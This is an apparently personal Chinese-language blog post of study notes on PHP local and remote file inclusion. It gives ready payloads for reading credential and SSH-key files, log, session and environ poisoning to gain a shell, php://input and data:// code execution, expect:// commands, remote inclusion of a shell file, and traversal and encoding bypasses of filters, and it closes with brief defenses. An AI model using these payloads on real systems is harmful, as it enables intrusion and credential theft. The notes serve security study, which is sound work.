php文件包含学习笔记

原理

动态包含文件且包含文件的参数用户可控,产生漏洞的代码如下:

1
<?php include $_GET['file'];?>

相关函数

一共涉及到4个函数

  • include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
  • require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
  • include_once()和 require_once():若文件中代码已被包含则不会再次包含,以避免函数重定义或变量重赋值等问题

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。

利用方法

包含本地重要配置文件

常见cms网站配置文件

1
2
3
4
5
dedecms 数据库配置文件 data/common.inc.php,
discuz 全局配置文件 config/config_global.php,
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php

windows下配置文件

1
2
3
4
5
6
7
8
9
C:/boot.ini									//查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml //IIS6 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config //IIS7 配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD //存储了mysql.user表中的数据库连接密码
C:/Windows/php.ini //php配置信息
C:/Windows/my.ini //Mysql 配置信息
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 //存储了pcAnywhere的登陆密码

linux下配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf 或 /usr/local/apche/conf 或 /httpd.conf //apache配置文件
/usr/local/app/php5/lib/php.ini //PHP相关设置
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
/etc/redhat-release //系统版本
/etc/issue //系统版本
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]* (第一个数字是进程号PID,第二个数字是文件描述符)
/proc/self/environ
/proc/version
/proc/cmdline

配合文件上传漏洞getshell

上传php文件或图片马,直接包含进来即可

包含session文件getshell

利用条件:session文件路径已知,且其中内容部分可控。

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

包含日志文件getshell

中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中, 存在有 php 代码,也可以引入到文件

在linux下日志文件权限默认是 root,而php 的权限是 www-data,一般情况下都是读取不了,如果是 windows 环境下是可以权限是允许的。

linux 默认的apache 日志文件路径:

访问日志 /var/log/apache2/access.log

错误日志 /var/log/apache2/error.log

把文件日志包含进来即可包含中。如果日志有 php 恶意代码,也可导致 getshell。

常见日志路径:

apache+Linux

1
2
3
4
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

apache+win2003

1
2
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

IIS6.0+win2003

1
C:\WINDOWS\system32\Logfiles

IIS7.0+win2003

1
%SystemDrive%\inetpub\logs\LogFiles

nginx日志

日志文件在用户安装目录logs目录下,假设安装路径为/usr/local/nginx,那日志目录就是在/usr/local/nginx/logs下面

ssh-log

用ssh连接:

ssh '<?php phpinfo(); ?>'@【remote host】

之后会提示输入密码,随便输入就可以。

然后在remotehost的ssh-log中就写入了这个php代码

然后利用文件包含,包含日志文件

1
2
/var/log/auth.log
/var/log/secure

其他

如ftp、smtp等配置文件和日志,具体情况具体分析

包含环境变量getshell

利用条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。environ文件默认位置:/proc/self/environ。在Linux系统下(FreeBSD是没有这个的)。Windows系统没有。

姿势:

/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

包含/proc/$PID/fd/$FD(文件描述符)

文件描述符:File descriptor,简称fd,当应用程序请求内核打开/新建一个文件时,内核会返回一个文件描述符用于对应这个打开/新建的文件,其fd本质上就是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。

利用方法:

  1. 上传大量的shell(比如100个)
  2. 包含http://example.com/index.php?page=/proc/$PID/fd/$FD $PID是进程号,$FD是文件描述符,两个都为整数,可以爆破

默认位置:/proc/$PID/fd/$FD。在Linux系统下。Windows系统没有。

只是和包含environ类似,默认的权限不一定能满足条件(www-data权限不够无法访问),所以比较鸡肋

参考挖洞经验 | 把PHP LFI漏洞变成Webshell的思路

phpinfo+包含post上传临时文件getshell

见复现文章

php伪协议

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php.ini 参数设置

在 php.ini 里关于文件包含有两个重要的参数 allow_url_fopen、allow_url_include

allow_url_fopen:默认值是 ON,允许 url 里的封装协议访问文件

allow_url_include:默认值是 OFF,不允许包含 url 里的封装协议包

各协议利用条件和方法:

协议测试PHP版本allow_url_fopenallow_url_include用法
file://>=5.2off/onoff/on?file=/etc/passwd
php://filter>=5.2off/onoff/on?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input>=5.2off/onon?file=php://input 【POST DATA】<?php phpinfo();?>
zip://>=5.2off/onoff/on?file=zip://./file.zip%23shell.txt
compress.bzip2://>=5.2off/onoff/on?file=compress.bzip2://./file.bz2
compress.zlib://>=5.2off/onoff/on?file=compress.bzip2://./file.gz
data://>=5.2onon?file=data://text/plain,<?php phpinfo();?>【or】?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ 【or】?file=data:text/plain,<?php phpinfo();?>【or】?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

注:【POST DATA】代表后面的内容为http body,【or】代表“或”,表示其他的姿势;

file://

file协议用于直接读取文件

php://

php:// 用于访问各个输入/输出流(I/O streams),经常使用的是 php://filter 和 php://input

php://filter 用于读取源码

php://input 用于执行 php 代码

具体查看PHP官方文档 https://www.php.net/manual/zh/wrappers.php.php

可用的过滤器(4类):字符串过滤器、转换过滤器、压缩过滤器、加密过滤器 https://www.php.net/manual/zh/filters.php

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作 php 代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时 post 想设置的文件内容,php 执行时会将post的内容当作文件内容。

注意:当 enctype=”multipart/form-data”,php://input 是无效的。

设置请求为 post 请求 在正文输入 php 代码<?php phpinfo();?>提交即可

php://filter

可用rot13和base64加密,php://filter大小写不敏感

1
2
3
4
5
6
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

// 可以连接一个压缩wrapper.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

expect://

1
2
http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls

其他协议

phar、zip、bzip2、zlib等 https://www.php.net/manual/zh/wrappers.php

远程文件包含RFI条件

RFI的利用条件较为苛刻,需要php.ini中进行配置

  1. allow_url_fopen = On
  2. allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

payload:?file=http://test.com/shell.txt

截断攻击

使用场景:可控文件名后面加了其他字符导致不完全可控,样例代码如下

1
2
3
<?php
include $_GET['file'].'.php';
?>

通过文件包含截断攻击,使后面附加内容的代码失效,让包含的文件名完全可控。

%00截断

php 版本小于 5.3.4 允许使用%00 截断,在使用 include 等文件包含函数,可以截断文件名,截断会受 gpc 影响,如果 gpc 为 On 时,%00 会被转以成\0 截断会失败。

超长文件名截断

这个合适于 win32,可以使用\..进行截断。注意:win2003为win32可以使用这个特性,而win2008及以上都为64位,无法使用这个特性。

(php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256)

利用操作系统对目录最大长度限制。

在 window 下 256 字节

linux 下 4096 字节

.截断

1
?file=x.jpg..........................................................................................................................................................................................................................................

\.截断

1
?file=x.jpg/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

文件包含绕过

分为两种情况,前缀和后缀,代码如下:

1
2
3
<?php
include '/var/www/html/'.$_GET['file'].'.php';
?>

其中/var/www/html/是前缀,.php是后缀,绕过这两种情况的方法不相同

绕过前缀

这里只考虑存在前缀的情况,先不考虑后缀。

目录遍历

可以用目录遍历绕过,payload:

1
?file=../../log/test.txt

此时服务器实际拼接出来的路径为:/var/www/html/../../log/test.txt,即/var/log/test.txt,故成功绕过了前缀限制。

编码绕过

有些waf会对../做过滤或拦截,可以利用url编码绕过

1.利用url编码

  • ../
    • %2e%2e%2f
    • ..%2f
    • %2e%2e/
  • ..\
    • %2e%2e%5c
    • ..%5c
    • %2e%2e\

2.二次编码

  • ../
    • %252e%252e%252f
  • ..\
    • %252e%252e%255c

3.容器/服务器的编码方式

  • ../
  • ..\
    • ..%c1%9c

双写绕过

如果waf过滤一次../,那么可以双写绕过,payload:

1
?file=....//....//log/test.txt

绕过后缀

这里一样也是只考虑后缀,先不考虑前缀。

query绕过

url中的问号?代表后面跟的是查询参数,可以利用这个特性绕过后缀,问号?的url编码为%3f,在url中也可以用%3f代替,payload:

1
?file=http://ip.com/shell.txt%3f

在服务器中拼接成为http://ip.com/shell.txt?.php,相当于.php变成了查询参数

fragment绕过

fragment在url中也成为“锚点”,就是我们常见的井号#,在井号后面的字符会被锚点,而不是路径的一部分,所以也可以利用这个特性绕过后缀,井号#的url编码为%23,在url中可以用%23代替,payload:

1
?file=http://ip.com/shell.txt%23

会在服务器中拼接为http://ip.com/shell.txt#.php.php被当成了锚点,造成了绕过

截断绕过

上面截断攻击的部分已经介绍过了,这里不再赘述

防御方案

  1. 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是 否可被外部控制
  2. 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:”../“
  3. 包含文件验证:验证被包含的文件是否是白名单中的一员
  4. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(‘head.php’)
  5. 设置 allow_url_include 为 Off

审计技巧

待补充…

参考

php文件包含漏洞

一道CTF题:PHP文件包含


php文件包含学习笔记
https://wanf3ng.github.io/2022/05/18/php文件包含学习笔记/
作者
wanf3ng
发布于
2022年5月18日
许可协议